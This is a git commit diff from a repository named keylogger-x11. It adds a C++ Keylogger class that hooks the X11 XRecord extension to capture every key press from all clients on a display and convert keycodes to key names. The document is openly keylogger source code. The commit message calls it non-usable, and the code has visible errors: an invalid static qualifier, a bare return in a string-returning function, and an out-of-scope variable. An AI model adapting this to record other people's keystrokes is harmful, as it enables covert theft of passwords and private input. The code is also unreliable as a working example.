diff options
author | Vianney Bouchaud <vianney@bouchaud.org> | 2011-10-06 19:06:28 +0200 |
---|---|---|
committer | Vianney Bouchaud <vianney@bouchaud.org> | 2011-10-06 19:06:28 +0200 |
commit | 00701af646de99bf0c7b0d16a29edcaa4707b3e8 (patch) | |
tree | 270a910c87c34e6da78b8a25b3d8565cd0ced94d /srcs | |
download | keylogger-x11-00701af646de99bf0c7b0d16a29edcaa4707b3e8.tar.gz keylogger-x11-00701af646de99bf0c7b0d16a29edcaa4707b3e8.tar.xz |
base-class non-usable
Diffstat (limited to 'srcs')
-rw-r--r-- | srcs/Keylogger.cpp | 88 |
1 files changed, 88 insertions, 0 deletions
diff --git a/srcs/Keylogger.cpp b/srcs/Keylogger.cpp new file mode 100644 index 0000000..2dd2b90 --- /dev/null +++ b/srcs/Keylogger.cpp @@ -0,0 +1,88 @@ +// +// Keylogger.cpp for Keylogger class in /home/vianney +// +// Made by Vianney Bouchaud +// Login <vianney@bouchaud.org> +// +// Started on Wed Oct 5 13:58:25 2011 Vianney Bouchaud +// Last update Thu Oct 6 19:03:44 2011 Vianney Bouchaud +// + +#include <string> +#include "Keylogger.hpp" + +Keylogger::Keylogger() +{ +} + +Keylogger::~Keylogger() +{ + stop(); +} + +void Keylogger::start() +{ + if (!XRecordEnableContextAsync(userData.dataDisplay, recContext, eventCallback, (XPointer) &userData)) + throw exception(); +} + +void Keylogger::stop() +{ + if(!XRecordDisableContext(userData.ctrlDisplay, recContext)) + throw exception(); +} + +void Keylogger::setupRecordExtension() +{ + XSynchronize(userData.ctrlDisplay, True); + if (!XRecordQueryVersion(userData.ctrlDisplay, &recVer.first, &recVer.second)) + throw exception(); + recRange = XRecordAllocRange(); + if (!recRange) + throw exception(); + recRange->device_events.first = KeyPress; + recRange->device_events.last = KeyPress; + recClientSpec = XRecordAllClients; + recContext = XRecordCreateContext(userData.ctrlDisplay, 0, &recClientSpec, 1, &recRange, 1); + if (!recContext) + throw exception(); +} + +void Keylogger::processData() +{ + XRecordProcessReplies(userData.dataDisplay); +} + +bool Keylogger::xConnect(string displayName) +{ + m_displayName = displayName; + if (NULL == (userData.ctrlDisplay = XOpenDisplay(m_displayName.c_str()))) + return (false); + if (NULL == (userData.dataDisplay = XOpenDisplay(m_displayName.c_str()))) + { + XCloseDisplay(userData.ctrlDisplay); + userData.ctrlDisplay = NULL; + return (false); + } + userData.initialObject = (void *)this; + setupRecordExtension(); + return (true); +} + +static std::string Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook) +{ + if (hook->category != XRecordFromServer) + { + XRecordFreeData(hook); + return; + } + CallbackClosure *userData = (CallbackClosure *)priv; + XRecordDatum *data = (XRecordDatum *) hook->data; + if(data->event.u.u.type == KeyPress) + { + int c = data->event.u.u.detail; + std::string solv = XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0)); + } + XRecordFreeData(hook); + return (solv); +} |